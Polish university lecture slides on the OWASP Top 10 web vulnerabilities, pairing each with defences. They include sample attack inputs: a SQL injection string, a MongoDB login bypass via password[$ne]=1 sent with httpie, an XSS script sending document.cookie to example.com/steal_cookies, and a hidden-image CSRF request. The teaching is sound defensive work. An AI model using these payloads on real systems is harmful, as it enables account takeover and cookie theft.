LUKI BEZPIECZEŃSTWA Waldemar Korłub W APLIKACJACH INTERNETOWYCH Wytwarzanie Aplikacji Internetowych KASK ETI Politechnika Gdańska
OWASP Top 10 2 OWASP: Open Web Application Security Project www.owasp.org Organizacja non-profit Niezależna od komercyjnych dostawców Wszystkie materiały dostępne na wolnych licencjach OWASP Top 10 Lista dziesięciu krytycznych zagrożeń bezpieczeństwa dla aplikacji internetowych Wyselekcjonowana jako konsensus pomiędzy ekspertami bezpieczeństwa, należącymi do organizacji
OWASP Top 10 3 A1 Injection A2 Broken Authentication and Session Management A3 Cross-Site Scripting (XSS) A4 Insecure Direct Object References A5 Security Misconfiguration A6 Sensitive Data Exposure A7 Missing Function Level Access Control A8 Cross-Site Request Forgery (CSRF) A9 Using Components with Known Vulnerabilities A10 Unvalidated Redirects and Forwards
OWASP Top 10 4 A1 Wstrzyknięcie szkodliwego kodu A2 Wadliwe uwierzytelnianie i obsługa sesji A3 Cross-Site Scripting (XSS) A4 Wyciek niezabezpieczonych obiektów A5 Luki bezpieczeństwa środowiska wykonawczego A6 Ujawnienie wrażliwych danych A7 Brak kontroli dostępu na poziomie funkcji A8 Cross-Site Request Forgery (CSRF) A9 Obecność zależności z lukami bezpieczeństwa A10 Niekontrolowane przekierowania
Wstrzyknięcie szkodliwego kodu (A1) 5 Wartości podane przez użytkownika są bezpośrednio przekazywane do zewnętrznego interpretera SQL Injection NoSQL Injection Parametry XPath Parametry LDAP Parametry zewnętrznych poleceń systemowych
SQL Injection 6 $user=$_session['id']; $status=$_get['status']; $q="select * FROM orders WHERE user_id=$user AND status='$status'"; http://example.com/orders?status=new SELECT * FROM orders WHERE user_id=1 AND status='new' http://example.com/orders?status=new' OR '1' = '1 SELECT * FROM orders WHERE user_id=1 AND status='new' OR '1' = '1' //AND ma priorytet nad OR!
SQL Injection Strategia obrony: Zapytania z parametrami (prepared statements)
NoSQL Injection na przykładzie MongoDB MongoDB Nie używa parsowanego języka zapytań Dostarcza API do odpytywania bazy danych Jako takie nie jest podatne na wstrzyknięcie złośliwego kodu Ale API w konkretnych językach programowania może otwierać drogę do nadużyć m.in. API dla PHP
MongoDB Injection w PHP Baza użytkowników kolekcja users: { "_id": ObjectId("..."), "login": "admin", "password": "p@ssw0rd" }, { "_id": ObjectId("..."), "login": "user", "password": "h@sl0" } Hasła zapisane jawnym tekstem: poważny błąd! Ale dopóki nikt się nie włamie do bazy danych
MongoDB Injection w PHP Formularz logowania: <form method="post"> <input type="text" name="login" placeholder="login"/> <input type="password" name="password" placeholder="password"/> <input type="submit" value="zaloguj"/> </form>
MongoDB Injection w PHP Kod uwierzytelniający: $query = [ 'login' => $_POST['login'], 'password' => $_POST['password'] ]; $user = $db->users->findone($query); if ($user) { echo "Zalogowany!\n"; } else { echo "Niepoprawny login lub hasło.\n"; } Przykład: 06-mongodb-injection
Spreparowane zapytanie HTTP $ http -v -f POST \ http://example.com/login.php \ 'login=admin' 'password[$ne]=1' Polecenie z pakietu httpie: # apt-get install httpie żądanie odpowiedź POST /wai/inject/login.php HTTP/1.1 Content-Length: 33 Content-Type: application/x-www-form-urlencoded; charset=utf-8... login=admin&password%5b%24ne%5d=1 HTTP/1.1 200 OK Set-Cookie: PHPSESSID=3sg1hgdtha9lr2s4f; path=/... Zalogowany!!?!
MongoDB Injection w PHP Wartości parametrów z operatorem indeksowania w nazwie są umieszczane w tablicy Przydatne przy obsłudze pól typu checkbox POST: login=admin password[$ne]=1 $_POST['password']; ['$ne' => 1]; $query = [ 'login' => 'admin', 'password' => ['$ne' => 1] ]; $user = $db->users->findone($query);
MongoDB Injection w PHP Strategia obrony: parametry, które powinny mieć wartość skalarną, należy rzutować na typ skalarny przed użyciem Rzutowanie na ciąg znaków $query = [ 'login' => (string)$_post['login'], 'password' => (string)$_post['password'] ]; $user = $db->users->findone($query);
Wstrzyknięcie szkodliwego kodu 15 Wszystkie wartości, odczytywane z parametrów żądania HTTP są potencjalnie niebezpieczne! Strategie obrony: Wykrywanie niedozwolonych znaków (np. apostrof, cudzysłów, nawiasy) Kodowanie niebezpiecznych znaków na encje n Cudzysłów na " n Znak mniejszości: < na < Whitelists listy dopuszczalnych wartości
Wadliwe uwierzytelnianie (A2) 16 Autorskie mechanizmy zamiast rozwiązań dostarczanych przez serwer/framework/platformę Popularne rozwiązania są częściej atakowane, a przez to lepiej przetestowane n W razie wykrycia luk, społeczność deweloperów wymusza szybkie aktualizacje bezpieczeństwa n W przeciwnym razie framework/platforma szybko straci swoich użytkowników! Gotowe rozwiązania są opracowywane przez ekspertów n i uwzględniają wiele niuansów Gotowe rozwiązania są zintegrowane z serwerem bądź frameworkiem, we wszystkich jego warstwach
Wadliwe uwierzytelnianie 17 Co można zrobić źle w czasie ręcznego hashowania haseł? Zapomnieć (plaintext) Wykorzystanie wadliwej funkcji mieszającej (np. MD5) Wykorzystanie własnej funkcji mieszającej Niewykorzystanie ciągu mieszającego (salt) Wykorzystanie tego samego ciągu mieszającego dla wszystkich haseł Wykorzystanie zbyt krótkich ciągów mieszających Gotowa funkcja password_hash(); uwzględnia wszystkie powyższe niuanse!
Wadliwe zarządzanie sesją (A2) Ataki na mechanizm sesji: Session prediction Session sniffing Session fixation Man-in-the-middle Man-in-the-browser Cross-Site Scripting n m.in. wykradanie id sesji z cookies
Ataki na sesje: Session prediction Odgadywanie klucza kolejnej sesji na bazie klucza poprzedniej (lub kilku poprzednich) Klucze powinny być generowane nieliniowo Nie należy implementować własnych mechanizmów generowania klucza sesji session_start() domyślnie generuje trudne do odgadnięcia klucze
Ataki na sesje: Session sniffing Podsłuchiwanie identyfikatora sesji Wiele stron domyślnie serwuje treści bez wykorzystania szyfrowanego kanału HTTPS Oszczędność mocy obliczeniowej Przełączanie na HTTPS dopiero na czas logowania Sesja zostaje otwarta, gdy połączenie może zostać podsłuchane Po logowaniu użytkownik dalej korzysta z tej samej sesji (o takim samym identyfikatorze)
Ataki na sesje: Session fixation Atak na serwisy akceptujące identyfikator sesji przesłany przez użytkownika, gdy dana sesja nie istnieje np. w PHP: session.use_strict_mode akceptowanie id z żądania HTTP dla niezainicjowanej sesji, domyślnie: Off (akceptuje podatność na session fixation)
Man-in-the-middle Przekierowanie ruchu przez serwer napastnika <form... > <!--...--> </form> Zlecenie przelewu Serwer napastnika
Man-in-the-middle Przekierowanie na poziomie serwerów DNS Wadliwe routery Wadliwe serwery proxy Strategie obrony: DNSSEC TLS n Certyfikaty potwierdzające tożsamość serwera
Man-in-the-browser Monitorowanie ruchu wychodzącego z przeglądarki i docierającego do niej Wtyczki do przeglądarek ActiveX (Internet Explorer)
XSS: Cross-Site Scripting (A3) 25 Spreparowane przez napastnika dane trafiają do przeglądarki ofiary jako fragment podatnej na atak strony Celem mogą być serwisy, w których treści umieszczają użytkownicy Serwisy aukcyjne Fora Portale społecznościowe Portale umożliwiające komentowanie treści Strona jest podatna na atak, gdy treść umieszczona przez użytkownika jest wyświetlana w surowej postaci (bez przetworzenia)
XSS: Cross-Site Scripting 26 Przykład złośliwej zawartości: Super okazja! Laptop XYZ123 w cenie 1999! <script> $.ajax("http://example.com/steal_cookies", {cookies: document.cookie}); </script> Kup już dziś!
XSS: Cross-Site Scripting 27 Autor aukcji/komentarza/postu może wprowadzić dowolną treść Jeśli nie podlega ona żadnej kontroli, zostanie wyświetlona na stronie w surowej postaci Każdy użytkownik, odwiedzający stronę, otrzyma spreparowany kod jako fragment witryny Jeśli spreparowany kod zawiera instrukcje języka JavaScript, zostaną one wykonane tak, jak skrypty dołączone do strony przez jej autora n Z dostępem do tych samych danych, z których normalnie może korzystać tylko autor witryny
XSS: Cross-Site Scripting 28 Inne cele ataku: Wykradzenie danych zapisanych w Web Storage Zmiana adresu URL w atrybutach action formularzy na stronie n Dane wpisane przez użytkownika do formularza zostaną wysłane na serwer napastnika Zmiana treści na zaatakowanej stronie Wszystko, co tylko można zrobić przy użyciu języka JavaScript
Cross-Site Scripting nie tylko Scripting 29 Złośliwy kod może mieć formę inną niż skrypty języka JavaScript <iframe> n Dołączenie dowolnej zawartości z innej witryny <form> n Formularz mający na celu wyłudzenie danych od użytkownika Kod wykorzystujący atak CSRF n A8 Cross-Site Request Forgery
XSS zabezpieczenia przed atakiem 30 Wszystkie treści przysyłane przez użytkowników są potencjalnie niebezpieczne! Wrażliwe pliki cookies należy zabezpieczyć dodając atrybut HttpOnly Będą dostępne tylko dla zapytań HTTP Zabezpieczenia, gdy użycie elementów HTML nie jest dopuszczane: Wycięcie wszystkich znaczników Zamiana potencjalnie niebezpiecznych znaków na bezpieczne encje n < na < oraz > na > n bloki kodu HTML wyświetlą się jako tekst na stronie
XSS zabezpieczenia przed atakiem 31 Gdy użytkownicy muszą mieć możliwość formatowania wysyłanych treści: Wprowadzenie innego zestawu znaczników formatujących n Np. BBCode: [b]pogrubienie[/b] [i]kursywa[/i] n Znaczniki HTML są niedozwolone w treściach wysyłanych przez użytkownika n BBCode jest zamieniany na HTML przed wyświetleniem na stronie Dopuszczanie tylko podzbioru bezpiecznych elementów n Np.: <p>, <div>, <b>, <i> Usuwanie wszystkich elementów <script> Usuwanie wszystkich atrybutów związanych ze zdarzeniami n onclick, onmouseover, itd.
XSS zabezpieczenia przed atakiem 32 PHP strip_tags() htmlspecialchars() htmlentities()
33 Kontrola dostępu we wszystkich warstwach aplikacji (A4 i A7) Aspekt bezpieczeństwa powinien przecinać aplikację na wszystkich poziomach Luka na którymkolwiek poziomie może zagrozić bezpieczeństwu całego systemu
Kontrola dostępu we wszystkich warstwach aplikacji (A7 i A4) 34 Warstwa prezentacji użytkownik widzi w interfejsie tylko te informacje i operacje, do których ma uprawnienia Np. nie widzi przycisku do usuwania produktu/zamówienia, jeśli nie ma uprawnień do tej operacji Warstwa operacji biznesowych/funkcji w reakcji na żądanie HTTP, wywołane mogą zostać tylko te funkcje, do których użytkownik ma uprawnienia Użytkownik może wywołać funkcję, pobierającą dane zamówienia Tylko administrator może wywołać funkcję usuwającą zamówienie Warstwa danych wywoływane funkcje mogą operować tylko na danych, które należą do użytkownika lub do których ma on uprawnienia Użytkownik może operować tylko na swoich zamówieniach
Kontrola dostępu w warstwie prezentacji 35 <h1>zamówienia</h1> <table>... <tr> <td> </td> </tr> <tr> <a href="/order?id=17">zamówienie #562</a> <td> </td> </tr>... Tylko zamówienia aktualnie zalogowanego użytkownika <a href="/order?id=97">zamówienie #836</a>
Wyciek niezabezpieczonych obiektów (A4) 36 Wszystkie parametry odczytane z żądania HTTP są potencjalnie niebezpieczne! Napastnik widzi link do własnego zamówienia: http://www.example.com/order?id=17 Napastnik zmienia identyfikator na inny (zamówienie innego użytkownika): http://www.example.com/order?id=917
37 Kontrola dostępu we wszystkich warstwach aplikacji (A4 i A7) To że czegoś nie widać w interfejsie nie znaczy, że napastnik nie może spreparować żądania!
Kontrola dostępu w warstwie prezentacji 38 <h2>zamówienie nr 12345</h2> <!--... szczegóły zamówienia... --> <!-- operacje --> <?php if(is_user()):?> <a href="/order/17/cancel">anuluj zamówienie</a> <?php endif;?> <?php if(is_admin()):?> <a href="/order/17/delete">usuń</a> <?php endif;?>
Kontrola dostępu w warstwie prezentacji 39 Fakt, że użytkownik/napastnik nie widzi linka na stronie nie oznacza, że nie może on spreparować żądania ręcznie: $ telnet podatny-sklep.pl 80 GET /order/17/delete HTTP jest protokołem tekstowym łatwość ręcznego spreparowania złośliwych żądań
Kontrola dostępu na poziomie funkcji (A7) 40 function delete_order($order_id){ if(is_admin()){ //...operacje na bazie danych... } } function cancel_order($order_id){ if(is_user()){ $q = "UPDATE orders SET status='cancelled WHERE id = :order_id;"; } } // ustawienie parametru zapytania order_id // i wywołanie na bazie danych
Kontrola dostępu na poziomie funkcji 41 Wszystkie parametry odczytane z żądania HTTP są potencjalnie niebezpieczne! Napastnik widzi link do anulowania własnego zamówienia: http://www.example.com/order/17/cancel Napastnik zmienia identyfikator na inny (zamówienie innego użytkownika): http://www.example.com/order/97/cancel
Kontrola dostępu we wszystkich warstwach 42 Warstwa prezentacji Użytkownik widzi link do operacji na stronie, bo ma uprawnienia do anulowania własnych zamówień Warstwa logiki biznesowe Użytkownik może wywołać funkcję służącą do anulowania zamówienia ma uprawnienia do anulowania własnych Warstwa danych Użytkownik powinien móc modyfikować wyłącznie swoje zamówienia
Kontrola dostępu na poziomie danych 43 function cancel_order($order_id){ if(is_user()){ $q = "UPDATE orders SET status='cancelled WHERE id = :order_id AND user_id = :user_id;"; } } // ustawienie parametrów zapytania // i wywołanie na bazie danych
A5 Luki bezpieczeństwa środowiska wykonawczego 44 Bezpieczeństwo aplikacji zależy nie tylko od jej kodu Istotne są wszystkie komponenty składające się na środowisko wykonawcze Luka w bezpieczeństwie jednego z nich może zagrażać całemu systemowi System operacyjny Baza danych Serwer aplikacji Framework Biblioteki (A9 Obecność zależności z lukami bezpieczeństwa) Zewnętrzne komponenty, z którymi aplikacja się integruje
Wytyczne odnośnie konfiguracji środowiska wykonawczego 45 Instalowanie na bieżąco aktualizacji bezpieczeństwa Eliminacja domyślnych kont, haseł Eliminacja niepotrzebnych usług systemowych Unikalne dane dostępowe na serwerach produkcyjnych Bezpieczeństwo jako efekt solidnych protokołów i algorytmów (nie tajnych implementacji) Jawność kodu aplikacji nie powinna obniżać jej bezpieczeństwa n Szczegóły implementacyjne nie są źródłem bezpieczeństwa! Bezpieczeństwo przez przejrzystość
A6 Ujawnienie wrażliwych danych 46 Brak szyfrowania wrażliwych informacji Włamanie do bazy danych/na serwer ujawnia poufne informacje Niewystarczające szyfrowanie Słabe algorytmy szyfrujące, niedostateczne zabezpieczenie klucza szyfrującego Słabe funkcje mieszające do hashowania haseł n Ataki odwracające skrót, ataki wykorzystujące kolizje Niewykorzystywanie ciągu zaburzającego (salt) n Ataki słownikowe, rainbow table Ten sam ciąg zaburzający dla wszystkich haseł
A6 Ujawnienie wrażliwych danych 47 Brak szyfrowania/bezpieczeństwa end-to-end Rozpoczęcie sesji bez HTTPS podsłuchanie id sesji Przechowywanie wrażliwych danych w postaci zaszyfrowanej, ale transport w postaci jawnej przez niezabezpieczony kanał, np.: n Numery kart kredytowych zaszyfrowane na poziomie bazy danych n Numery są bezpiecznie przechowywane na dysku n Odpowiedzi z bazy danych na zapytania SQL zawierają numery już w postaci jawnej n Bezpieczeństwo end-to-end wymaga szyfrowania na poziomie aplikacji
A6 Ujawnienie wrażliwych danych 48 Brak identyfikacji wszystkich miejsc, gdzie dane mogą być zapisane Nie tylko baza danych Logi aplikacji n Komunikat błędu w logach może ujawnić wartości parametrów wywołania (np. numer karty kredytowej) n Logi są dostępne dla administratorów, programistów itd. Kopie zapasowe n Przechowywane w niezabezpieczonej lokacji lub transportowane tam bez należytych zabezpieczeń Pliki na dysku n np. dane sesji
CSRF: Cross-Site Request Forgery (A8) 49 Przeglądarka dołącza pliki cookies (a w nich id sesji) do wszystkich zapytań, kierowanych do witryny Nawet tych inicjowanych z innych stron Jeśli sesja dotyczy uwierzytelnionego użytkownika, zapytanie zostanie wykonane z jego uprawnieniami Pewne zasoby nie podlegają polityce single-origin: Pliki ze skryptami JavaScript Arkusze CSS Multimedia: pliki graficzne, dźwiękowe, wideo Elementy dołączane w <iframe> Aplety (np. Flash, Java) Przed ich pobraniem nie następuje negocjacja CORS (Cross-origin resource sharing)
CSRF: Cross-Site Request Forgery 50 Atak CSRF wykorzystuje wymienione fakty, aby wykonać akcję z uprawnieniami ofiary na podatnej stronie
CSRF scenariusz ataku 51 1. Na stronie danger.example.com napastnik umieszcza kod, który spowoduje wysłanie przez przeglądarkę zapytania do innego serwisu: <img style="width: 0px; height: 0px" src="http://flawedbook.com/new_post.php? content=tresc_napastnika" /> 2. Ofiara loguje się na swoje konto w serwisie społecznościowym flawedbook.com Przeglądarka otrzymuje plik cookie 3. Ofiara odwiedza stronę danger.example.com
CSRF scenariusz ataku 52 4. Przeglądarka ofiary napotyka na element <img> w kodzie strony danger.example.com 5. Pliki graficzne nie podlegają polityce single-origin, przeglądarka konstruuje zapytanie GET, aby pobrać plik do wyświetlenia na stronie: GET http://flawedbook.com/new_post.php? content=tresc_napastnika 6. Przeglądarka dołącza do zapytania GET pliki cookies dla domeny flawedbook.com
CSRF scenariusz ataku 53 7. Witryna flawedbook.com otrzymuje zapytanie, i odczytuje identyfikator sesji z dołączonego pliku cookie 8. Id sesji wskazuje na sesję aktualnie zalogowanego użytkownika (ofiary) dalsze operacje są wykonywane z jego uprawnieniami 9. Skrypt new_post.php odczytuje wartość parametru content i dodaje nową notatkę na koncie ofiary 10. Ofiara nie jest świadoma tego co zaszło, element <img> ma wymiary (0,0) na stronie danger.example.com nie widać nic podejrzanego
CSRF przyczyna podatności 54 Akceptowanie zapytań typu GET dla akcji zmieniających stan po stronie serwera Zapytanie typu POST musi być wygenerowane w skrypcie w języku JavaScript, co podlega polityce single-origin Ale jeśli witryna jest równocześnie podatna na atak XSS, to zapytanie będzie inicjowane z tej samej domeny
CSRF przyczyna podatności 55 Bazowanie wyłącznie na danych uwierzytelniających, które są automatycznie dołączane do zapytań niezależnie jak zostały zainicjowane Identyfikator sesji (w plikach cookies) Login i hasło dla HTTP BASIC Certyfikaty SSL użytkownika
CSRF obrona przed atakiem 56 Dołączenie tokenów dostępowych Trudnych do odgadnięcia, najlepiej jednorazowych Lokalnych w obrębie strony nie dołączanych automatycznie do każdego zapytania przez przeglądarkę <form> <input type="hidden" value="5ade7311ef273982bc780ef23ac088" name="csrf_security_token">... Większość popularnych frameworków może robić to automatycznie W niektórych frameworkach jest to domyślne zachowanie Niektóre trzeba skonfigurować, aby korzystały z tej funkcji
CSRF obrona przed atakiem 57 Zabezpieczenie strony przez atakami XSS Nawet jeśli użyjemy tokenów lokalnych względem strony, to atak XSS ujawni je napastnikowi Wymaganie zapytań POST do zmiany stanu po stronie serwera Zapytanie GET może ujawnić token dostępowy napastnikowi, np. nagłówek Referer po przejściu na stronę napastnika
A9 Obecność zależności z lukami bezpieczeństwa 58 Współczesne aplikacje w dużej mierze opierają się na funkcjach bibliotek zewnętrznych (3rd party) Zamiast samodzielnie implementować typowe mechanizmy, posługujemy się gotowymi rozwiązaniami n Integracja z płatnościami n Rozsyłanie powiadomień mailowych n Dostęp do bazy danych Sprawdzone i przetestowane przez wielu autorów aplikacji Skrócenie czasu potrzebnego na wytworzenie aplikacji Wytwarzanie aplikacji poprzez wybór zbioru bibliotek i zintegrowanie ich funkcji w jednym produkcie
Zewnętrzne zależności 59 Każdy zewnętrzny komponent/biblioteka może zawierać luki bezpieczeństwa Luki w zależnościach mogą być wykorzystane do ataku na naszą aplikację Jak wybierać biblioteki? Lista pytań kontrolnych: Czy biblioteka jest popularna? Czy biblioteka jest aktywnie rozwijana? Jak szybko wydawane są poprawki błędów? Czy starsze wersje są wspierane? n Czy otrzymują aktualizacje bezpieczeństwa?
Zewnętrzne zależności gdy już je mamy 60 Monitorowanie komunikatów bezpieczeństwa, nowych wydań Automatyzacja zarządzania zależnościami i ich wersjami PHP: Composer Java: Maven, Ant/Ivy, Gradle
A10 Niekontrolowane przekierowania 61 O celu przekierowania często decydują wartości parametrów zapytania Podatne na atak przekierowanie: http://example.com/web.php?page=about $page = $_REQUEST['page']; require $page.'php';
A10 Niekontrolowane przekierowania 62 Wszystkie parametry odczytane z żądania HTTP są potencjalnie niebezpieczne! Obrona przed niekontrolowanymi przekierowaniami: Weryfikacja wartości parametrów determinujących przekierowanie Whitelisty dopuszczalnych wartości
Podsumowanie 63 Bezpieczeństwo aplikacji nie jest szczegółem implementacyjnym Aspekty bezpieczeństwa wpływają na architekturę aplikacji Bezpieczeństwo należy uwzględnić w projekcie aplikacji Bezpieczeństwa nie można dodać ad-hoc
Pamiętajmy... 64 Wszystkie informacje odczytane z żądania HTTP są potencjalnie niebezpieczne
Pytania?